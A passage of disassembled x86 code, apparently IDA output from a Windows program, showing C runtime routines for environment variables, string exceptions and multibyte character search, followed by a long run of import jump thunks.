mov eax, [ebp+var_C]
push eax
call sub_41C360
add esp, 14h
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_43A149
or eax, 0FFFFFFFFh
jmp loc_43A1FB
; ---------------------------------------------------------------------------
loc_43A149: ; CODE XREF: sub_439F20+21Fj
mov ecx, [ebp+var_8]
mov edx, [ebp+var_C]
mov eax, [ebp+arg_0]
mov [edx+ecx*4], eax
mov ecx, [ebp+var_8]
mov edx, [ebp+var_C]
mov dword ptr [edx+ecx*4+4], 0
mov eax, [ebp+var_C]
mov ds:dword_4F3314, eax
jmp short loc_43A174
; ---------------------------------------------------------------------------
loc_43A16D: ; CODE XREF: sub_439F20+1E5j
xor eax, eax
jmp loc_43A1FB
; ---------------------------------------------------------------------------
loc_43A174: ; CODE XREF: sub_439F20:loc_43A0FFj
; sub_439F20+24Bj
cmp [ebp+arg_4], 0
jz short loc_43A1F9
push 0E5h
push offset dword_43E0F0
push 2
mov ecx, [ebp+arg_0]
push ecx
call sub_41BC70
add esp, 4
add eax, 2
push eax
call sub_41BE70
add esp, 10h
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jz short loc_43A1F9
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_10]
push eax
call sub_41F620
add esp, 8
mov ecx, [ebp+var_18]
sub ecx, [ebp+arg_0]
mov edx, [ebp+var_10]
add edx, ecx
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov byte ptr [eax], 0
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_14]
neg edx
sbb edx, edx
not edx
and edx, [ebp+var_4]
push edx
mov eax, [ebp+var_10]
push eax
call ds:dword_4F52D8 ; SetEnvironmentVariableA
push 2
mov ecx, [ebp+var_10]
push ecx
call sub_41CA10
add esp, 8
loc_43A1F9: ; CODE XREF: sub_439F20+258j
; sub_439F20+285j
xor eax, eax
loc_43A1FB: ; CODE XREF: sub_439F20+2Fj
; sub_439F20+8Dj ...
pop esi
mov esp, ebp
pop ebp
retn
sub_439F20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A200 proc near ; CODE XREF: sub_439F20+139p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, ds:dword_4F3314
mov [ebp+var_4], eax
jmp short loc_43A217
; ---------------------------------------------------------------------------
loc_43A20E: ; CODE XREF: sub_43A200:loc_43A268j
mov ecx, [ebp+var_4]
add ecx, 4
mov [ebp+var_4], ecx
loc_43A217: ; CODE XREF: sub_43A200+Cj
mov edx, [ebp+var_4]
cmp dword ptr [edx], 0
jz short loc_43A26A
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_4]
mov edx, [ecx]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_439680
add esp, 0Ch
test eax, eax
jnz short loc_43A268
mov ecx, [ebp+var_4]
mov edx, [ecx]
mov eax, [ebp+arg_4]
movsx ecx, byte ptr [edx+eax]
cmp ecx, 3Dh
jz short loc_43A25A
mov edx, [ebp+var_4]
mov eax, [edx]
mov ecx, [ebp+arg_4]
movsx edx, byte ptr [eax+ecx]
test edx, edx
jnz short loc_43A268
loc_43A25A: ; CODE XREF: sub_43A200+48j
mov eax, [ebp+var_4]
sub eax, ds:dword_4F3314
sar eax, 2
jmp short loc_43A278
; ---------------------------------------------------------------------------
loc_43A268: ; CODE XREF: sub_43A200+37j
; sub_43A200+58j
jmp short loc_43A20E
; ---------------------------------------------------------------------------
loc_43A26A: ; CODE XREF: sub_43A200+1Dj
mov eax, [ebp+var_4]
sub eax, ds:dword_4F3314
sar eax, 2
neg eax
loc_43A278: ; CODE XREF: sub_43A200+66j
mov esp, ebp
pop ebp
retn
sub_43A200 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A280 proc near ; CODE XREF: sub_439F20+58p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
mov [ebp+var_10], 0
mov eax, [ebp+arg_0]
mov [ebp+var_C], eax
cmp [ebp+arg_0], 0
jnz short loc_43A2A0
xor eax, eax
jmp loc_43A36A
; ---------------------------------------------------------------------------
loc_43A2A0: ; CODE XREF: sub_43A280+17j
; sub_43A280+3Bj
mov ecx, [ebp+var_C]
mov edx, [ecx]
mov eax, [ebp+var_C]
add eax, 4
mov [ebp+var_C], eax
test edx, edx
jz short loc_43A2BD
mov ecx, [ebp+var_10]
add ecx, 1
mov [ebp+var_10], ecx
jmp short loc_43A2A0
; ---------------------------------------------------------------------------
loc_43A2BD: ; CODE XREF: sub_43A280+30j
push 146h
push offset dword_43E0F0
push 2
mov edx, [ebp+var_10]
lea eax, ds:4[edx*4]
push eax
call sub_41BE70
add esp, 10h
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
mov [ebp+var_4], ecx
cmp [ebp+var_4], 0
jnz short loc_43A2F5
push 9
call sub_422270
add esp, 4
loc_43A2F5: ; CODE XREF: sub_43A280+69j
mov edx, [ebp+arg_0]
mov [ebp+var_C], edx
loc_43A2FB: ; CODE XREF: sub_43A280+DCj
mov eax, [ebp+var_C]
cmp dword ptr [eax], 0
jz short loc_43A35E
push 14Fh
push offset dword_43E0F0
push 2
mov ecx, [ebp+var_C]
mov edx, [ecx]
push edx
call sub_41BC70
add esp, 4
add eax, 1
push eax
call sub_41BE70
add esp, 10h
mov ecx, [ebp+var_8]
mov [ecx], eax
mov edx, [ebp+var_8]
cmp dword ptr [edx], 0
jz short loc_43A34A
mov eax, [ebp+var_C]
mov ecx, [eax]
push ecx
mov edx, [ebp+var_8]
mov eax, [edx]
push eax
call sub_41F620
add esp, 8
loc_43A34A: ; CODE XREF: sub_43A280+B4j
mov ecx, [ebp+var_C]
add ecx, 4
mov [ebp+var_C], ecx
mov edx, [ebp+var_8]
add edx, 4
mov [ebp+var_8], edx
jmp short loc_43A2FB
; ---------------------------------------------------------------------------
loc_43A35E: ; CODE XREF: sub_43A280+81j
mov eax, [ebp+var_8]
mov dword ptr [eax], 0
mov eax, [ebp+var_4]
loc_43A36A: ; CODE XREF: sub_43A280+1Bj
mov esp, ebp
pop ebp
retn
sub_43A280 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A370 proc near ; CODE XREF: sub_439F20+13p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp ds:dword_4F37DC, 0
jnz short loc_43A392
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41F720
add esp, 8
jmp loc_43A459
; ---------------------------------------------------------------------------
loc_43A392: ; CODE XREF: sub_43A370+Bj
push 19h
call sub_423280
add esp, 4
jmp short loc_43A3A7
; ---------------------------------------------------------------------------
loc_43A39E: ; CODE XREF: sub_43A370:loc_43A436j
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
loc_43A3A7: ; CODE XREF: sub_43A370+2Cj
mov eax, [ebp+arg_0]
movzx cx, byte ptr [eax]
mov word ptr [ebp+var_4], cx
mov edx, [ebp+var_4]
and edx, 0FFFFh
test edx, edx
jz short loc_43A43B
mov eax, [ebp+var_4]
and eax, 0FFh
xor ecx, ecx
mov cl, ds:byte_4F38E1[eax]
and ecx, 4
test ecx, ecx
jz short loc_43A426
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jnz short loc_43A3F8
push 19h
call sub_423320
add esp, 4
xor eax, eax
jmp short loc_43A459
; ---------------------------------------------------------------------------
loc_43A3F8: ; CODE XREF: sub_43A370+78j
mov edx, [ebp+var_4]
and edx, 0FFFFh
shl edx, 8
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cl, [eax]
or edx, ecx
cmp [ebp+arg_4], edx
jnz short loc_43A424
push 19h
call sub_423320
add esp, 4
mov eax, [ebp+arg_0]
sub eax, 1
jmp short loc_43A459
; ---------------------------------------------------------------------------
loc_43A424: ; CODE XREF: sub_43A370+A0j
jmp short loc_43A436
; ---------------------------------------------------------------------------
loc_43A426: ; CODE XREF: sub_43A370+64j
mov edx, [ebp+var_4]
and edx, 0FFFFh
cmp [ebp+arg_4], edx
jnz short loc_43A436
jmp short loc_43A43B
; ---------------------------------------------------------------------------
loc_43A436: ; CODE XREF: sub_43A370:loc_43A424j
; sub_43A370+C2j
jmp loc_43A39E
; ---------------------------------------------------------------------------
loc_43A43B: ; CODE XREF: sub_43A370+4Dj
; sub_43A370+C4j
push 19h
call sub_423320
add esp, 4
mov eax, [ebp+var_4]
and eax, 0FFFFh
cmp [ebp+arg_4], eax
jnz short loc_43A457
mov eax, [ebp+arg_0]
jmp short loc_43A459
; ---------------------------------------------------------------------------
loc_43A457: ; CODE XREF: sub_43A370+E0j
xor eax, eax
loc_43A459: ; CODE XREF: sub_43A370+1Dj
; sub_43A370+86j ...
mov esp, ebp
pop ebp
retn
sub_43A370 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A460 proc near ; CODE XREF: sub_40DC67+12p
; sub_40DCFC+12p ...
var_3C = byte ptr -3Ch
var_38 = byte ptr -38h
var_28 = byte ptr -28h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_43A460
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
lea eax, [ebp+var_3C]
push eax
push offset aStringTooLong ; "string too long"
lea ecx, [ebp+var_38]
call sub_40DC1A
mov [ebp+var_4], 0
lea ecx, [ebp+var_38]
push ecx
lea ecx, [ebp+var_28]
call sub_43A610
push offset dword_43E450
lea edx, [ebp+var_28]
push edx
call sub_43B240
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
sub_43A460 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A4C0 proc near ; CODE XREF: sub_43A550+10p
; sub_43A730+Ep ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_43A4C0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov [ebp+var_10], ecx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_10]
call sub_43AFC0
mov [ebp+var_4], 0
mov ecx, [ebp+arg_0]
add ecx, 0Ch
push ecx
mov ecx, [ebp+var_10]
add ecx, 0Ch
call sub_40DBF4
mov edx, [ebp+var_10]
mov dword ptr [edx], offset off_43E110
mov [ebp+var_4], 0FFFFFFFFh
mov eax, [ebp+var_10]
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn 4
sub_43A4C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A530 proc near ; DATA XREF: _1:0043E114o _1:0043E124o ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
add ecx, 0Ch
call sub_40DCD7
mov esp, ebp
pop ebp
retn
sub_43A530 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A550 proc near ; DATA XREF: _1:0043E118o
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 20h
mov [ebp+var_20], ecx
mov eax, [ebp+var_20]
push eax
lea ecx, [ebp+var_1C]
call sub_43A4C0
push offset dword_43E4C0
lea ecx, [ebp+var_1C]
push ecx
call sub_43B240
mov esp, ebp
pop ebp
retn
sub_43A550 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A580 proc near ; CODE XREF: sub_43A5E0+Ap
; sub_43A6B0+13p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_43A580
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov [ebp+var_10], ecx
mov eax, [ebp+var_10]
mov dword ptr [eax], offset off_43E110
mov [ebp+var_4], 0
mov ecx, [ebp+var_10]
add ecx, 0Ch
call sub_40DC3D
mov [ebp+var_4], 0FFFFFFFFh
mov ecx, [ebp+var_10]
call sub_43B080
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
sub_43A580 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A5E0 proc near ; DATA XREF: _1:off_43E110o
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
call sub_43A580
mov eax, [ebp+arg_0]
and eax, 1
test eax, eax
jz short loc_43A605
mov ecx, [ebp+var_4]
push ecx
call sub_420B80
add esp, 4
loc_43A605: ; CODE XREF: sub_43A5E0+17j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_43A5E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A610 proc near ; CODE XREF: sub_43A460+3Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_4]
call sub_43A640
mov ecx, [ebp+var_4]
mov dword ptr [ecx], offset off_43E120
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_43A610 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A640 proc near ; CODE XREF: sub_43A610+Ep
; sub_43A7C0+Ep
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_43A640
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
mov [ebp+var_14], ecx
mov [ebp+var_10], offset dword_43CF7C
lea eax, [ebp+var_10]
push eax
mov ecx, [ebp+var_14]
call sub_43AF50
mov [ebp+var_4], 0
mov ecx, [ebp+arg_0]
push ecx
mov ecx, [ebp+var_14]
add ecx, 0Ch
call sub_40DBF4
mov edx, [ebp+var_14]
mov dword ptr [edx], offset off_43E110
mov [ebp+var_4], 0FFFFFFFFh
mov eax, [ebp+var_14]
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn 4
sub_43A640 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A6B0 proc near ; CODE XREF: sub_43A700+Ap
; DATA XREF: _1:0043E454o
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov dword ptr [eax], offset off_43E120
mov ecx, [ebp+var_4]
call sub_43A580
mov esp, ebp
pop ebp
retn
sub_43A6B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A6D0 proc near ; DATA XREF: _1:0043E128o
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 20h
mov [ebp+var_20], ecx
mov eax, [ebp+var_20]
push eax
lea ecx, [ebp+var_1C]
call sub_43A730
push offset dword_43E450
lea ecx, [ebp+var_1C]
push ecx
call sub_43B240
mov esp, ebp
pop ebp
retn
sub_43A6D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A700 proc near ; DATA XREF: _1:off_43E120o
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
call sub_43A6B0
mov eax, [ebp+arg_0]
and eax, 1
test eax, eax
jz short loc_43A725
mov ecx, [ebp+var_4]
push ecx
call sub_420B80
add esp, 4
loc_43A725: ; CODE XREF: sub_43A700+17j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_43A700 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A730 proc near ; CODE XREF: sub_43A6D0+10p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_4]
call sub_43A4C0
mov ecx, [ebp+var_4]
mov dword ptr [ecx], offset off_43E120
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_43A730 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A760 proc near ; CODE XREF: sub_40DD57+17p
; sub_40DFD6+Ep
var_3C = byte ptr -3Ch
var_38 = byte ptr -38h
var_28 = byte ptr -28h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_43A760
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
lea eax, [ebp+var_3C]
push eax
push offset aInvalidStringP ; "invalid string position"
lea ecx, [ebp+var_38]
call sub_40DC1A
mov [ebp+var_4], 0
lea ecx, [ebp+var_38]
push ecx
lea ecx, [ebp+var_28]
call sub_43A7C0
push offset dword_43E550
lea edx, [ebp+var_28]
push edx
call sub_43B240
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
sub_43A760 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A7C0 proc near ; CODE XREF: sub_43A760+3Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_4]
call sub_43A640
mov ecx, [ebp+var_4]
mov dword ptr [ecx], offset off_43E148
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_43A7C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A7F0 proc near ; CODE XREF: sub_43A840+Ap
; DATA XREF: _1:0043E554o
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov dword ptr [eax], offset off_43E148
mov ecx, [ebp+var_4]
call sub_43A580
mov esp, ebp
pop ebp
retn
sub_43A7F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A810 proc near ; DATA XREF: _1:0043E150o
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 20h
mov [ebp+var_20], ecx
mov eax, [ebp+var_20]
push eax
lea ecx, [ebp+var_1C]
call sub_43A870
push offset dword_43E550
lea ecx, [ebp+var_1C]
push ecx
call sub_43B240
mov esp, ebp
pop ebp
retn
sub_43A810 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A840 proc near ; DATA XREF: _1:off_43E148o
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
call sub_43A7F0
mov eax, [ebp+arg_0]
and eax, 1
test eax, eax
jz short loc_43A865
mov ecx, [ebp+var_4]
push ecx
call sub_420B80
add esp, 4
loc_43A865: ; CODE XREF: sub_43A840+17j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_43A840 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A870 proc near ; CODE XREF: sub_43A810+10p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_4]
call sub_43A4C0
mov ecx, [ebp+var_4]
mov dword ptr [ecx], offset off_43E148
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_43A870 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A8A0 proc near ; DATA XREF: _2:0043F014o
push ebp
mov ebp, esp
call sub_40E188
call sub_43A8C0
call sub_43A8E0
call sub_43A910
pop ebp
retn
sub_43A8A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A8C0 proc near ; CODE XREF: sub_43A8A0+8p
push ebp
mov ebp, esp
push offset nullsub_1
call sub_420D10
add esp, 4
pop ebp
retn
sub_43A8C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A8E0 proc near ; CODE XREF: sub_43A8A0+Dp
push ebp
mov ebp, esp
xor eax, eax
mov al, ds:byte_4F4A3C
and eax, 1
test eax, eax
jnz short loc_43A900
mov cl, ds:byte_4F4A3C
or cl, 1
mov ds:byte_4F4A3C, cl
loc_43A900: ; CODE XREF: sub_43A8E0+Fj
pop ebp
retn
sub_43A8E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A910 proc near ; CODE XREF: sub_43A8A0+12p
push ebp
mov ebp, esp
push offset sub_43A930
call sub_420D10
add esp, 4
pop ebp
retn
sub_43A910 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A930 proc near ; DATA XREF: sub_43A910+3o
push ebp
mov ebp, esp
pop ebp
retn
sub_43A930 endp
; ---------------------------------------------------------------------------
align 2
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43A936 proc near ; CODE XREF: sub_40E29B+6Fp
jmp ds:dword_4F54F4
sub_43A936 endp
; ---------------------------------------------------------------------------
jmp ds:dword_4F554C
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43A942 proc near ; CODE XREF: sub_40D5A3+5Ep
; sub_40F2F1+148p ...
jmp ds:dword_4F5548
sub_43A942 endp
; ---------------------------------------------------------------------------
jmp ds:dword_4F5544
; ---------------------------------------------------------------------------
jmp ds:dword_4F5540
; ---------------------------------------------------------------------------
jmp ds:dword_4F553C
; ---------------------------------------------------------------------------
jmp ds:dword_4F5538
; ---------------------------------------------------------------------------
jmp ds:dword_4F5534
; ---------------------------------------------------------------------------
jmp ds:dword_4F5530
; ---------------------------------------------------------------------------
jmp ds:dword_4F552C
; ---------------------------------------------------------------------------
jmp ds:dword_4F5528
; ---------------------------------------------------------------------------
jmp ds:dword_4F5550
; ---------------------------------------------------------------------------
jmp ds:dword_4F5520
; ---------------------------------------------------------------------------
jmp ds:dword_4F551C
; ---------------------------------------------------------------------------
jmp ds:dword_4F5518
; ---------------------------------------------------------------------------
jmp ds:dword_4F5514
; ---------------------------------------------------------------------------
jmp ds:dword_4F5510
; ---------------------------------------------------------------------------
jmp ds:dword_4F550C
; ---------------------------------------------------------------------------
jmp ds:dword_4F5508
; ---------------------------------------------------------------------------
jmp ds:dword_4F5504
; ---------------------------------------------------------------------------
jmp ds:dword_4F5500
; ---------------------------------------------------------------------------
jmp ds:dword_4F54FC
; ---------------------------------------------------------------------------
jmp ds:dword_4F5524
; ---------------------------------------------------------------------------
jmp ds:off_4F5338
; ---------------------------------------------------------------------------
jmp ds:off_4F533C
; ---------------------------------------------------------------------------
jmp ds:dword_4F5340
; ---------------------------------------------------------------------------
jmp ds:off_4F5344
; ---------------------------------------------------------------------------
jmp ds:dword_4F5348
; ---------------------------------------------------------------------------
jmp ds:dword_4F534C
; ---------------------------------------------------------------------------
jmp ds:dword_4F5350
; ---------------------------------------------------------------------------
jmp ds:dword_4F5354
; ---------------------------------------------------------------------------
jmp ds:dword_4F5358
; ---------------------------------------------------------------------------
jmp ds:dword_4F535C
; ---------------------------------------------------------------------------
jmp ds:dword_4F5360
; ---------------------------------------------------------------------------
jmp ds:dword_4F5364
; ---------------------------------------------------------------------------
jmp ds:dword_4F5368
; ---------------------------------------------------------------------------
jmp ds:off_4F536C
; ---------------------------------------------------------------------------
jmp ds:off_4F5370
; ---------------------------------------------------------------------------
jmp ds:dword_4F5374
; ---------------------------------------------------------------------------
jmp ds:dword_4F5378
; ---------------------------------------------------------------------------
jmp ds:dword_4F537C
; ---------------------------------------------------------------------------
jmp ds:dword_4F5380
; ---------------------------------------------------------------------------
jmp ds:dword_4F5384
; ---------------------------------------------------------------------------
jmp ds:dword_4F5388
; ---------------------------------------------------------------------------
jmp ds:off_4F538C
; ---------------------------------------------------------------------------
jmp ds:off_4F5390
; ---------------------------------------------------------------------------
jmp ds:dword_4F5394
; ---------------------------------------------------------------------------
jmp ds:dword_4F5398
; ---------------------------------------------------------------------------
jmp ds:dword_4F539C
; ---------------------------------------------------------------------------
jmp ds:dword_4F53A0
; ---------------------------------------------------------------------------
jmp ds:dword_4F53A4
; ---------------------------------------------------------------------------
jmp ds:dword_4F53A8
; ---------------------------------------------------------------------------
jmp ds:dword_4F53AC
; ---------------------------------------------------------------------------
jmp ds:dword_4F53B0
; ---------------------------------------------------------------------------
jmp ds:dword_4F53B4
; ---------------------------------------------------------------------------
jmp ds:dword_4F53B8
; ---------------------------------------------------------------------------
jmp ds:off_4F53BC
; ---------------------------------------------------------------------------
jmp ds:off_4F53C0
; ---------------------------------------------------------------------------
jmp ds:dword_4F53C4
; ---------------------------------------------------------------------------
jmp ds:dword_4F53C8
; ---------------------------------------------------------------------------
jmp ds:dword_4F53CC
; ---------------------------------------------------------------------------
jmp ds:dword_4F53D0
; ---------------------------------------------------------------------------
jmp ds:dword_4F53D4
; ---------------------------------------------------------------------------
jmp ds:dword_4F53D8
; ---------------------------------------------------------------------------
jmp ds:off_4F53DC
; ---------------------------------------------------------------------------
jmp ds:off_4F53E0
; ---------------------------------------------------------------------------
jmp ds:dword_4F53E4
; ---------------------------------------------------------------------------
jmp ds:dword_4F53E8
; ---------------------------------------------------------------------------
jmp ds:off_4F53EC
; ---------------------------------------------------------------------------
jmp ds:off_4F53F0
; ---------------------------------------------------------------------------
jmp ds:off_4F53F4
; ---------------------------------------------------------------------------
jmp ds:dword_4F53F8
; ---------------------------------------------------------------------------
jmp ds:dword_4F53FC
; ---------------------------------------------------------------------------
jmp ds:dword_4F5400
; ---------------------------------------------------------------------------
jmp ds:dword_4F5404
; ---------------------------------------------------------------------------
jmp ds:dword_4F5408
; ---------------------------------------------------------------------------
jmp ds:dword_4F540C
; ---------------------------------------------------------------------------
jmp ds:off_4F5410
; ---------------------------------------------------------------------------
jmp ds:dword_4F52D4
; ---------------------------------------------------------------------------
jmp ds:dword_4F5414
; ---------------------------------------------------------------------------
jmp ds:dword_4F5418
; ---------------------------------------------------------------------------
jmp ds:dword_4F541C
; ---------------------------------------------------------------------------
jmp ds:dword_4F5420
; ---------------------------------------------------------------------------
jmp ds:dword_4F5424
; ---------------------------------------------------------------------------
jmp ds:dword_4F5428
; ---------------------------------------------------------------------------
jmp ds:dword_4F542C
; ---------------------------------------------------------------------------
jmp ds:dword_4F5430
; ---------------------------------------------------------------------------
jmp ds:dword_4F5434
; ---------------------------------------------------------------------------
jmp ds:off_4F5438
; ---------------------------------------------------------------------------
jmp ds:off_4F543C
; ---------------------------------------------------------------------------
jmp ds:off_4F5440
; ---------------------------------------------------------------------------
jmp ds:dword_4F5444
; ---------------------------------------------------------------------------
jmp ds:dword_4F5448
; ---------------------------------------------------------------------------
jmp ds:dword_4F544C
; ---------------------------------------------------------------------------
jmp ds:dword_4F5450
; ---------------------------------------------------------------------------
jmp ds:dword_4F5454
; ---------------------------------------------------------------------------
jmp ds:dword_4F5458
; ---------------------------------------------------------------------------
jmp ds:dword_4F545C
; ---------------------------------------------------------------------------
jmp ds:dword_4F5460
; ---------------------------------------------------------------------------
jmp ds:dword_4F5464
; ---------------------------------------------------------------------------
jmp ds:dword_4F5468
; ---------------------------------------------------------------------------
jmp ds:dword_4F546C
; ---------------------------------------------------------------------------
jmp ds:dword_4F5470
; ---------------------------------------------------------------------------
jmp ds:dword_4F5474
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43ABA6 proc near ; CODE XREF: sub_4203C0+27p
; sub_420730+13p
jmp ds:dword_4F5478
sub_43ABA6 endp
; ---------------------------------------------------------------------------
jmp ds:dword_4F547C
; ---------------------------------------------------------------------------
jmp ds:dword_4F5480
; ---------------------------------------------------------------------------
jmp ds:dword_4F5484
; ---------------------------------------------------------------------------
jmp ds:dword_4F5488
; ---------------------------------------------------------------------------
jmp ds:dword_4F548C
; ---------------------------------------------------------------------------
jmp ds:dword_4F5490
; ---------------------------------------------------------------------------
jmp ds:dword_4F5494
; ---------------------------------------------------------------------------
jmp ds:dword_4F5498
; ---------------------------------------------------------------------------
jmp ds:dword_4F549C
; ---------------------------------------------------------------------------
